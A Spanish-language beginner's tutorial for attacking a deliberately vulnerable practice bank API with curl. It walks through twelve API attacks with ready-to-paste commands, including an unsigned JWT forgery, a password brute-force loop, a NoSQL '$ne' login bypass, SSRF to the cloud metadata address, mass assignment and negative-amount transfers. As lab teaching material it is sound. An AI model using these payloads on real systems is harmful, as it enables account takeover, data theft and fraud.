Guía para principiantes · Atacar una API vulnerable desde tu Mac

> Esta guía es para alguien que **empieza en tecnología**. No necesitas saber programar. Vas a ponerte en el papel de un atacante y descubrir, con ejemplos muy sencillos, **los 12 fallos de seguridad** más típicos de una API. En cada paso te explico **qué haces y por qué funciona el ataque**.
> Usaremos la **VulnBank API** en su versión **vulnerable** (la insegura, hecha así a propósito). El banco es inventado y el dinero es ficticio: **puedes atacar con total tranquilidad**, no rompes nada real.

Antes de empezar, lee esto

- Esto es un **entorno de entrenamiento**. Solo puedes atacar **esta** API de práctica (`/api/lab/…`). Atacar APIs o webs reales sin permiso es **ilegal**.
- Todos los "secretos" que verás (claves, contraseñas) son **inventados** y no sirven para nada fuera del laboratorio.
- Si algo se desordena, siempre puedes **dejar todo como al principio** (ver el final de la guía).

Primero, 4 ideas básicas

1. ¿Qué es una API? Piensa en un restaurante. Tú (el cliente) no entras a la cocina: le pides las cosas al **camarero**, y él te trae lo que pediste. Una **API** es ese camarero: un programa al que le pides datos ("¿cuánto dinero tengo?") y te responde.

2. ¿Qué es `curl`? Es una herramienta que ya viene en tu Mac para **hacerle pedidos a una API** escribiendo una línea de texto. Es como mandarle una nota al camarero.

3. ¿Qué es un token? Es como la **pulsera de un concierto**: cuando demuestras quién eres (con usuario y contraseña) te dan una pulsera. Luego, en cada pedido, enseñas la pulsera.

4. ¿Qué es una vulnerabilidad? Es un **descuido** en cómo está hecha la API que permite hacer algo que no deberías: ver datos de otra persona, saltarte una contraseña, etc. Una API vulnerable **confía** en lo que le pides sin comprobarlo. Eso es justo lo que vamos a aprovechar.

Paso 1 · Abrir la Terminal y preparar todo

1. Pulsa **Cmd + Espacio**, escribe `Terminal` y pulsa **Enter**.
2. Copia estas dos líneas, pégalas (Cmd + V) y pulsa **Enter**. Guardan la dirección de la API y dejan los datos limpios:

```
API="https://yellow-ground-024d78310.6.azurestaticapps.net/api/lab"
curl -s -X POST "$API/reset"
```

3. Comprueba que la versión puesta es la **vulnerable**:

```
curl -s "$API/version"
```

Debes ver `"version": "vulnerable"`. Si dice `"endurecida"`, pídele a Claude: *"coloca el laboratorio de API vulnerable"* y espera 2–3 minutos.

> **Regla para Mac:** pon **siempre las direcciones entre comillas** `"…"`. Si no, la Terminal se queja con `no matches found` al ver el símbolo `?`.

Paso 2 · Entrar como Laura (nuestra "víctima" de práctica)

Somos Laura. Guardamos su pulsera (token) en la variable `TOKEN` de un solo paso:

```
TOKEN=$(curl -s -X POST "$API/auth/login" -H "Content-Type: application/json" -d '{"userna
me":"laura","password":"Laura2026!"}' | sed -nE 's/.*"token": "([^"]+)".*/\1/p')
echo "$TOKEN"
```

Si ves una línea larga que empieza por `eyJ`, tienes la pulsera. A partir de aquí, en cada pedido privado añadiremos `-H "X-Auth-Token: $TOKEN"`, que significa *"esta es mi pulsera"*.

Mira tu propia cuenta (la de Laura es la **5001**):

```
curl -s "$API/accounts/5001" -H "X-Auth-Token: $TOKEN"
```

Verás tu saldo: **2450,75 €**. Hasta aquí todo es normal. Ahora empiezan los ataques.

Los 12 ataques

Cada ataque tiene: **la idea** (en palabras sencillas), **el comando** para pegar y **qué consigues**. Todos usan la variable `API` y, los privados, `TOKEN`.

Ataque 1 · Ver la cuenta de otra persona

La idea: para ver una cuenta, la dirección termina en su número (`/5001` es la tuya). ¿Y si cambio el número por el de otra persona? Una API segura lo impediría. Esta no.

```
curl -s "$API/accounts/5002" -H "X-Auth-Token: $TOKEN"
```

Qué consigues: ves el saldo, el IBAN y los datos de **Carlos** (cuenta 5002), que no es tuya. A este fallo se le llama **BOLA**: mirar objetos de otros solo con cambiar su número.

Ataque 2 · Colarte como administrador con una "pulsera falsa"

La idea: la pulsera (token) tiene 3 partes separadas por puntos, y una de ellas es una **firma** que debería impedir falsificarla. Esta API acepta pulseras que dicen "no tengo firma". Te paso una ya hecha que dice "soy el usuario 1003" (el administrador):

```
curl -s "$API/users/me" -H "X-Auth-Token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOjEwMDN9."
```

Qué consigues: la API te saluda como **admin** sin que sepas su contraseña.

Ataque 3 · Adivinar contraseñas sin límite

La idea (parte A): averiguar quién existe. Pide login con un usuario inventado y con uno real, y compara las respuestas:

```
curl -s -X POST "$API/auth/login" -H "Content-Type: application/json" -d '{"username":"pepito","password":"x"}'
curl -s -X POST "$API/auth/login" -H "Content-Type: application/json" -d '{"username":"carlos","password":"x"}'
```

Con `pepito` dice *"El usuario no existe"*; con `carlos` dice *"Contraseña incorrecta"*. **Ya sabes que `carlos` existe.**

La idea (parte B): probar muchas contraseñas. La API no limita los intentos, así que probamos una lista de las más comunes:

```
for clave in password 123456 qwerty admin carlos123; do
  echo -n "$clave → "
  curl -s -o /dev/null -w "%{http_code}\n" -X POST "$API/auth/login" -H "Content-Type: application/json" -d "{\"username\":\"carlos\",\"password\":\"$clave\"}"
done
```

Qué consigues: casi todas responden `401` (mal), pero **`123456` responde `200`**: esa es la contraseña de Carlos.

Ataque 4 · Ver datos privados de más

La idea: pides tu perfil, pero la API te devuelve **más de lo que debería**.

```
curl -s "$API/users/me" -H "X-Auth-Token: $TOKEN"
```

Qué consigues: además de tu nombre y email, aparecen el **DNI**, el **PIN** y hasta la **contraseña cifrada**. Una API bien hecha nunca mandaría eso.

Ataque 5 · Ascenderte a administrador tú mismo

La idea: hay un pedido para cambiar tu perfil (tu teléfono, por ejemplo). Vamos a colar también el campo `role` (rol) con el valor `admin`, a ver si la API se lo traga:

```
curl -s -X PATCH "$API/users/me" -H "X-Auth-Token: $TOKEN" -H "Content-Type: application/j
son" -d '{"role":"admin"}'
```

Qué consigues: tu perfil ahora dice `"role": "admin"`. Te acabas de ascender tú solo. (Esto se llama *asignación masiva*.)

Ataque 6 · Entrar al panel de administración siendo cliente

La idea: hay una zona de administración. La API comprueba que tengas pulsera, pero **no** comprueba que seas admin.

```
curl -s "$API/admin/users" -H "X-Auth-Token: $TOKEN"
```

Qué consigues: la lista de **todos** los usuarios del banco, con sus datos. Y eso que Laura es una clienta normal.

> Si hiciste el ataque 5 antes, deja los datos limpios para el resto: `curl -s -X POST "$API/reset"` y repite el paso 2 para una pulsera nueva.

Ataque 7 · Robar dinero con una transferencia "negativa"

La idea: una transferencia mueve dinero de tu cuenta a otra. ¿Qué pasa si envías una cantidad **negativa**? Si la API no lo comprueba, el dinero va al revés:

```
curl -s -X POST "$API/transfers" -H "X-Auth-Token: $TOKEN" -H "Content-Type: application/j
son" -d '{"fromAccountId":5001,"toAccountId":5002,"amount":-1000}'
```

Qué consigues: tu saldo **sube** 1000 € y el de Carlos baja. Le has quitado dinero. Una API seria rechazaría un importe negativo.

Ataque 8 · Hacer que el servidor espíe por ti (SSRF)

La idea: hay una función de "vista previa de un enlace": tú das una dirección y **el servidor** la visita por ti. Un atacante la usa para que el servidor entre a sitios internos a los que tú no llegas, como el almacén de claves de la nube.

```
curl -s "$API/tools/preview?url=http://169.254.169.254/latest/meta-data/" -H "X-Auth-Token: $TOKEN"
```

Qué consigues: la API devuelve unas "claves de la nube" (son ficticias, el ataque está **simulado** en el laboratorio). En un sistema real esto sería gravísimo.

Ataque 9 · Encontrar una puerta de servicio olvidada

La idea: a veces queda abierta una dirección de "pruebas" que muestra secretos. Esta no pide ni pulsera:

```
curl -s "$API/debug"
```

Qué consigues: la **contraseña secreta** con la que la API firma las pulseras, y la dirección de su base de datos. Con esa contraseña, alguien podría fabricar pulseras válidas de quien quiera.

Ataque 10 · Usar una versión antigua de la API

La idea: el banco sacó una API nueva, pero dejó la **vieja** (`v1`) encendida por olvido. Y la vieja no pide identificarse. Fíjate: aquí **no** usamos pulsera:

```
curl -s "$API/v1/users/1002"
```

Qué consigues: todos los datos de Carlos sin necesidad de entrar a ninguna cuenta.

Ataque 11 · Entrar sin contraseña con un "truco mágico"

La idea: en vez de enviar una contraseña de texto, enviamos un pequeño truco: `{"$ne": ""}`, que significa *"cualquier cosa distinta de vacío"*. Si la API no revisa lo que le llega, lo interpreta como *"la contraseña vale siempre"*:

```
curl -s -X POST "$API/auth/login" -H "Content-Type: application/json" -d '{"username":"admin","password":{"$ne":""}}'
```

Qué consigues: una pulsera de **administrador** sin saber su contraseña. (Esto es una *inyección*.)

Ataque 12 · Tumbar la API pidiéndole demasiado

La idea: al pedir movimientos, tú decides cuántos. Si pides una cantidad enorme, obligas al servidor a trabajar muchísimo. Compara estas dos (mira el tamaño y el tiempo que tarda):

```
curl -s -o /dev/null -w "5 movimientos → %{size_download} bytes en %{time_total}s\n" "$API/accounts/5001/transactions?limit=5" -H "X-Auth-Token: $TOKEN"
curl -s -o /dev/null -w "20000 movimientos → %{size_download} bytes en %{time_total}s\n" "$API/accounts/5001/transactions?limit=20000" -H "X-Auth-Token: $TOKEN"
```

Qué consigues: la segunda respuesta es miles de veces más grande. Repetida muchas veces, dejaría la API de rodillas (es la base de un ataque de *denegación de servicio*). **No** la repitas en bucle contra el sitio.

La gran lección

Todos estos ataques tienen **la misma raíz**: la API **se fía** de lo que le manda el cliente. Una API segura, como la versión endurecida de este mismo laboratorio, hace lo contrario: comprueba **quién eres**, **si lo que pides es tuyo**, **si tienes permiso** y **si los datos tienen sentido**. Si quieres ver esos mismos 12 ataques fallando, pídele a Claude que coloque la versión endurecida y usa su guía.

Para terminar · Dejar todo como al principio

```
curl -s -X POST "$API/reset"
```

Devuelve saldos, perfiles y roles a sus valores iniciales.

Si algo sale mal

Ves esto	Qué pasa	Qué hacer
`"version": "endurecida"`	Está puesta la versión segura: los ataques no funcionarán.	Pide *"coloca el laboratorio de API vulnerable"*.
`Falta un token válido`	La pulsera caducó (dura 15 min) o no la guardaste.	Repite el paso 2.
`zsh: no matches found`	La dirección quedó sin comillas.	Copia el comando completo, con sus comillas.
`zsh: event not found`	El `!` de `Laura2026!` dio problema.	Usa comillas **simples** `'…'` en el `-d`, como en los ejemplos.
Los saldos quedaron raros	Hiciste transferencias de prueba.	Ejecuta el comando de "Para terminar".
La respuesta sale en una línea larga	Es normal.	Añade al final `| python3 -m json.tool` para verla ordenada.

Mini-diccionario

Palabra	Qué significa
API	Programa que recibe pedidos y devuelve datos (el camarero).
curl	Herramienta del Mac para hacerle pedidos a una API.
Token / pulsera	Lo que demuestra quién eres en cada pedido. Caduca.
Vulnerabilidad	Un descuido que permite hacer algo que no deberías.
BOLA	Ver objetos de otras personas solo cambiando su número.
Inyección	Colar un "truco" en los datos para engañar a la API.
SSRF	Lograr que el servidor visite sitios por ti.
DNI / PIN	Datos personales que la API no debería enseñar.